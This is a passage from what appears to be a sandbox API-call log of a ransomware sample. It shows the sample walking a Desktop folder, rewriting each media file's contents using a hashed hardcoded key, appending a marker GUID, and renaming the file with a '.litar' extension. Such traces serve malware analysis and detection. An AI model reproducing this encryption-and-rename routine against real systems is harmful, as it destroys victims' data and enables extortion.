cAlternateFileName="")) returned 0x306c8a0 [0125.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.695] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ea1a00, ftCreationTime.dwHighDateTime=0x1d4d5a4, ftLastAccessTime.dwLowDateTime=0xf5918ec0, ftLastAccessTime.dwHighDateTime=0x1d4ca3d, ftLastWriteTime.dwLowDateTime=0xf5918ec0, ftLastWriteTime.dwHighDateTime=0x1d4ca3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.695] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453752d0, ftCreationTime.dwHighDateTime=0x1d4c6b9, ftLastAccessTime.dwLowDateTime=0x5d821c80, ftLastAccessTime.dwHighDateTime=0x1d4cc13, ftLastWriteTime.dwLowDateTime=0x5d821c80, ftLastWriteTime.dwHighDateTime=0x1d4cc13, nFileSizeHigh=0x0, nFileSizeLow=0xeb0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3yYw8jcr.png", cAlternateFileName="")) returned 1 [0125.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\3yYw8jcr.png") returned=".png" [0125.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\3yYw8jcr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\3yyw8jcr.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.696] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=60172) returned 1 [0125.696] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.697] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xeae6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.698] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.699] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.699] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.699] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xeb0c, lpOverlapped=0x0) returned 1 [0125.700] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.700] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.700] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.700] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0125.701] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.701] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.701] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.701] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.701] GetLastError () returned 0x0 [0125.701] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.701] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0125.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.710] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xeb10) returned 0x30fa0b0 [0125.712] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.712] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.712] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xeb07, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xeb07, lpOverlapped=0x0) returned 1 [0125.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.713] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xeb0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.713] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.713] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.713] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.713] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.713] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.713] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.713] CloseHandle (hObject=0x624) returned 1 [0125.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0125.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.714] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0125.714] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\3yYw8jcr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\3yyw8jcr.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\3yYw8jcr.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\3yyw8jcr.png.litar")) returned 1 [0125.715] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.715] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65659de0, ftCreationTime.dwHighDateTime=0x1d4d380, ftLastAccessTime.dwLowDateTime=0x822c77c0, ftLastAccessTime.dwHighDateTime=0x1d4cd7f, ftLastWriteTime.dwLowDateTime=0x822c77c0, ftLastWriteTime.dwHighDateTime=0x1d4cd7f, nFileSizeHigh=0x0, nFileSizeLow=0x182b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="45N3LRg1kFlD_Qyjf8.jpg", cAlternateFileName="45N3LR~1.JPG")) returned 1 [0125.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.716] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\45N3LRg1kFlD_Qyjf8.jpg") returned=".jpg" [0125.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\45N3LRg1kFlD_Qyjf8.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\45n3lrg1kfld_qyjf8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.717] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=98993) returned 1 [0125.717] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.719] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1828b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.719] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.721] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.721] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x182b1, lpOverlapped=0x0) returned 1 [0125.722] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.722] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.722] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.722] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0125.722] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.723] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.723] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.723] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.723] GetLastError () returned 0x0 [0125.723] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.723] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0125.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x182b0) returned 0x30fa0b0 [0125.723] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.723] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x182ac, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x182ac, lpOverlapped=0x0) returned 1 [0125.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.724] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x182b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.724] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.724] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.724] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.724] CloseHandle (hObject=0x624) returned 1 [0125.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0125.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.726] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\45N3LRg1kFlD_Qyjf8.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\45n3lrg1kfld_qyjf8.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\45N3LRg1kFlD_Qyjf8.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\45n3lrg1kfld_qyjf8.jpg.litar")) returned 1 [0125.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.738] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.739] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f491b0, ftCreationTime.dwHighDateTime=0x1d4cc19, ftLastAccessTime.dwLowDateTime=0x473ebdb0, ftLastAccessTime.dwHighDateTime=0x1d4c78c, ftLastWriteTime.dwLowDateTime=0x473ebdb0, ftLastWriteTime.dwHighDateTime=0x1d4c78c, nFileSizeHigh=0x0, nFileSizeLow=0x1210c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HID JrRHaaXMym.swf", cAlternateFileName="HIDJRR~1.SWF")) returned 1 [0125.739] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.739] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.739] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\HID JrRHaaXMym.swf") returned=".swf" [0125.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\HID JrRHaaXMym.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\hid jrrhaaxmym.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.740] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=73996) returned 1 [0125.740] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.742] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x120e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.742] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.743] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.743] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.743] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.743] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1210c, lpOverlapped=0x0) returned 1 [0125.744] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.744] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.744] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.744] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.744] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0125.745] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.745] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.745] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.745] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.745] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.745] GetLastError () returned 0x0 [0125.745] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.745] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0125.745] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.745] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12110) returned 0x30fa0b0 [0125.746] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.746] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.746] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x12107, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x12107, lpOverlapped=0x0) returned 1 [0125.746] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.746] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1210c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.746] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.746] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.746] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.746] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.746] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.746] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.747] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.747] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.747] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.747] CloseHandle (hObject=0x624) returned 1 [0125.748] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0125.748] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.748] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.748] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\HID JrRHaaXMym.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\hid jrrhaaxmym.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\HID JrRHaaXMym.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\in9wxlo7m3\\hid jrrhaaxmym.swf.litar")) returned 1 [0125.750] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.750] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.751] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.751] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097820, ftCreationTime.dwHighDateTime=0x1d4d363, ftLastAccessTime.dwLowDateTime=0x4cfb5280, ftLastAccessTime.dwHighDateTime=0x1d4ccab, ftLastWriteTime.dwLowDateTime=0x4cfb5280, ftLastWriteTime.dwHighDateTime=0x1d4ccab, nFileSizeHigh=0x0, nFileSizeLow=0x733b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XWPPBA.flv", cAlternateFileName="")) returned 1 [0125.751] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.751] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.751] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.751] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\XWPPBA.flv") returned=".flv" [0125.751] 